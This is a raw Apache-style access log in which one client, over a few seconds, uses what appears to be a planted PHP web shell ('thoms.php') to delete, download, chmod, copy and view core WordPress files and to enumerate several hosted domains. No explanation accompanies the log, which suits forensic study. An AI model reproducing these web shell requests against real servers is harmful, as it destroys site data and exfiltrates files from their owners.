45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?chmod=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?chmod=readme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?del=wp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16665 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?del=wp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16665 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?dl=wp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16666 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11389 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /wordpress-6.6.2-zh_TW/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?chmod=wp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&upload= HTTP/1.1" 200 12166 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?del=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16667 "http://163.245.207.76:443/thoms.php?del=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-signup.php HTTP/1.1" 200 22345 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /wordpress-6.6.2-zh_TW HTTP/1.1" 301 795 "http://163.245.207.76:443/wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:28 -0400] "GET /wordpress-6.6.2-zh_TW/license.txt HTTP/1.1" 200 7282 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /wordpress-6.6.2-zh_TW/ HTTP/1.1" 302 0 "https://163.245.207.76:443/wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16665 "http://163.245.207.76:443/thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1349 "https://163.245.207.76:443/wordpress-6.6.2-zh_TW/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?dl=readme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16665 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?chmod=wp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?del=wp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16666 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?del=wp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16657 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?del=wp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16667 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11401 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 200 58395 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?del=license.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16667 "http://163.245.207.76:443/thoms.php?del=license.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-comments-post.php HTTP/1.1" 200 13027 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:29 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16667 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?chmod=wp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=locoy.php HTTP/1.1" 200 12972 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?chmod=locoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?del=xmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16664 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?del=wp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16674 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-admin/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?dl=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16654 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:30 -0400] "GET /thoms.php?dl=wp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16666 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p= HTTP/1.1" 200 11655 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /wordpress-6.6.2-zh_TW/xmlrpc.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16665 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=index.php HTTP/1.1" 200 12072 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?dl=wp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16668 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16668 "http://163.245.207.76:443/thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?del=wp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16670 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?dl=wp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16668 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=license.txt HTTP/1.1" 200 20090 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-mail.php HTTP/1.1" 200 15269 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:31 -0400] "GET /thoms.php?chmod=wp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16391 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=wp-content HTTP/1.1" 200 11338 "http://163.245.207.76:443/thoms.php?copy=error_log&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=upgrade HTTP/1.1" 200 11301 "http://163.245.207.76:443/thoms.php?copy=error_log&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw HTTP/1.1" 200 11430 "http://163.245.207.76:443/thoms.php?copy=error_log&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=error_log&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:32 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=error_log&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
